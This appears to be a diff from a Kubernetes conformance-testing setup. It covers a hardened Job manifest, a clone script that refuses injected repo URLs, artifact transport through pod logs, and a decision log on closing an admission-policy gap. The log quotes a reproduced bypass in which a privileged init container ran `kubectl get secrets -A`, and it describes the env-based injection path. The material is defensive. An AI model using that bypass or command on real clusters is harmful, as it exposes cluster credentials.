# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -28,7 +180,10 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -37,38 +192,118 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
containers:
- name: chainsaw
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONF_ROOT
value: /workspace/conformance
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}
+138
View File
@@ -0,0 +1,138 @@
#!/usr/bin/env bash
###############################################################################
# conformance-clone — fetch the impl repo at the exact commit under test.
#
# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
# root:root, so the running container (uid 65532) cannot replace it. The Job's init
# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
#
# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
# -----------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
# So a Job from `conformance-trigger` could carry an init container with
# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
# (pass 3, fail 0).
#
# The fix has two halves and NEITHER works alone:
# 1. this file — a fixed path with fixed behaviour and no argument surface, so there is
# nothing for a caller to inject into; and
# 2. a 4th policy rule requiring every initContainer's `command` to be exactly
# ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
# and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
# Without (2) this file is merely available, not required.
#
# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
# -----------------------------------------------------------------------------------
# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
# environment would just move the injection one field over — the trigger sets
# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
# executes under the privileged runner SA. Identical shape to the initContainers gap, and
# "no args" would not have stopped it.
#
# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
# vars are still read, so the Job template can keep declaring them and stay self-documenting,
# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
# characters of a commit that the baked repository actually contains.
#
# Inputs (environment; no arguments are accepted):
# CONFORMANCE_GIT_SHA REQUIRED. 40 lowercase hex. The commit under test.
# CONFORMANCE_REPO_URL optional. Must equal the baked URL if set.
# CONFORMANCE_SRC optional. Must equal the baked target if set.
# GITEA_USERNAME optional, from Secret `conformance-git-readonly`.
# GITEA_TOKEN optional, from Secret `conformance-git-readonly`.
# TMPDIR / HOME optional; must be under /workspace. Default to /workspace/{tmp,home}.
#
# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
# Everything it writes therefore lives under /workspace. There is no writable /tmp.
###############################################################################
set -euo pipefail
# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
readonly BAKED_SRC="/workspace/src"
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
log() { printf '==> %s\n' "$*"; }
[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
# --- the one genuinely trusted input ----------------------------------------
# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
|| die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
The CI trigger did not substitute it, or substituted junk."
# --- env that may agree with the baked values, but may not override them -----
REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
got: ${REPO_URL}
baked: ${BAKED_REPO_URL}
Refusing. A caller that can choose the repository can choose the code that runs."
SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
got: ${SRC}
baked: ${BAKED_SRC}
Refusing."
# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
: "${TMPDIR:=/workspace/tmp}"
: "${HOME:=/workspace/home}"
on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
on_workspace "${HOME}" || die "HOME must be /workspace or under it (got '${HOME}')"
export TMPDIR HOME
mkdir -p "${TMPDIR}" "${HOME}"
# --- credential (optional) ---------------------------------------------------
# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
# answers from the environment. The token therefore never appears in argv and never on disk.
#
# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
# image), so requiring the Secret would fail runs that would otherwise work — and would make
# this script untestable without one. It is not a privilege downgrade: the integrity
# guarantee here is the SHA assertion below, not the credential. Which mode was used is
# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
CRED=''
if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
else
log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
fi
git_c() {
if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
}
# --- clone, land the exact commit, and PROVE it ------------------------------
log "shallow clone ${REPO_URL} -> ${SRC}"
git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
fi
git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
# The assertion is the point of the whole script: everything above is best-effort plumbing,
# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
head="$(git -C "${SRC}" rev-parse HEAD)"
[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
|| die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
test -x "${SRC}/conformance/run.sh" \
|| die "no executable conformance/run.sh at ${head}."
log "suite ready at ${head}"
+111 -1
View File
@@ -60,6 +60,17 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
ARTIFACTS="${CONF_ROOT}/_artifacts"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
+53
View File
@@ -6,6 +6,10 @@
# Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
CHAINSAW_VERSION="v0.2.12"
# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
# kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
# Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
# only constraint is a modern interpreter.
PYTHON_MIN="3.9"
# --- In-cluster conformance runner image -------------------------------------
# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
#
# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
# init container's only entrypoint. That is a security fixture, not a convenience: the
# admission policy never reads `initContainers`, so an init container with an inline shell
# script is currently admitted with the privileged runner SA. The policy rule that makes the
# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
#
# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
# ADMITS a conformance-trigger Job only when its image matches
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
# Build handle only. Admission never sees the tag; a Job must reference the digest.
CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
#
# ############################################################################
# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET. #
# ############################################################################
# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
# pushing needs a registry credential, and publishing the artifact a fail-closed security
# boundary then trusts is an OPERATOR action, not an agent's.
#
# OPERATOR, to complete the pin:
# 1. ./conformance/incluster/build-image.sh # rebuild, verify, print the commands
# 2. podman login gitea.home.keithjackson.dev
# 3. podman push --digestfile /tmp/conformance-runner.digest \
# "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
# 4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
# — the digest the REGISTRY returned, not the local manifest digest the build printed.
# 5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
#
# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
CONFORMANCE_RUNNER_IMAGE_DIGEST=""
CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
#
# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
# that closes the residual "anyone who can push to this path" gap. Separate PR, human
# reviewed, because it edits the security boundary itself.
@@ -0,0 +1,401 @@
---
date: 2026-09-29
branch: feat/conformance-job-template
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
---
## What changed
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
renderable run template. Along the way the admission policy that is supposed to bound that Job
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
more rules and moved the clone script out of the Job entirely.
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
> file under `decisions/`; the archive is untouched.
### The binding constraint, and how it was met
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
Secret volume and the init container could not have a scratch volume:
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
happened to be.
### Results out of the Job with no exec channel
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
digest appear in **both** markers and the collector owes five checks, each documented above the
function.
### THE FINDING: the admission boundary did not look at `initContainers`
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
already have carried one.
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
policy gained four rules in this branch:
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
must be on the digest-pinned `conformance-runner` image, `command:
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
note under "What I did NOT verify".
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
